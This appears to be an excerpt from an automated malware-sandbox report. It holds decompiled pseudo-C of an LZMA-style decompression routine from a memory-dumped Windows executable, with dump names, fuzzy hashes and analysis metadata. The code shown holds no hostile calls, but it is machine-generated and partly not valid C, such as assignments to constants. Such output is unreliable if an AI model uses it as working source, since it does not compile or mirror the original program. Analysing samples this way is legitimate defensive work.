								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 797fef13bb3e8e171cff3cae9b41bd7abdeca14a353df9249488f574514014e3
Instruction ID: 0ba87498709856dc17a0c5f751d6ecfe3ae25d7b1153355424f504aba8ac83cf
Opcode Fuzzy Hash: 797fef13bb3e8e171cff3cae9b41bd7abdeca14a353df9249488f574514014e3
Instruction Fuzzy Hash: B4817772D04229CBDF24CFA8C8447AEBBB0FB44305F25816AD856BB2C0D7785A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406247, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406247() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M0040684B))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4)); // executed
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
